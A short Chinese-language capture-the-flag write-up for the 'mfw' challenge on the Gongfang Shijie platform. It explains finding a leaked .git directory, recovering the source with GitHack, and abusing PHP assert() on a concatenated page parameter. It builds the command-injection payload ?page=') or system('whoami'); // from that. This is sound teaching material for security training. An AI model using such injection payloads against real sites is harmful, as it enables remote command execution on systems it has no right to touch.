当前位置：网站首页>攻防世界---mfw

攻防世界---mfw

2022-07-21 13:45:00 【jjj34】

知识点1：git泄露

知识点2：assert函数的命令执行漏洞

解题

步骤一

先进行目录扫描，发现git泄露

发现了git泄露，通过githack工具将其下载下来

进入dist文件中查看

一个一个查看后，发现了index.php里有漏洞利用点，即 assert函数

步骤二

assert函数的命令执行漏洞原理：当assert()内的参数为字符串是，那个字符串会被当成php函数执行（就和eval差不多）

注意到这两行代码
$file = "templates/" . $page . ".php";
assert(strops('$file','..') === false)

当page = ') //时
file = templates/') 
assert中的代码为 strops('templates/') 因为语法问题直接报错了，但是可以通过 or 来进行命令执行
如 page = ') or system('whoami') //
file = templates/') or system('whoami')
assert中代码为 strops(templates/') or system('whoami')
因为 strops函数报错了，因此执行or后面的语句，即whoami

结合上面的思路构造pyaload
?page=') or system('whoami'); //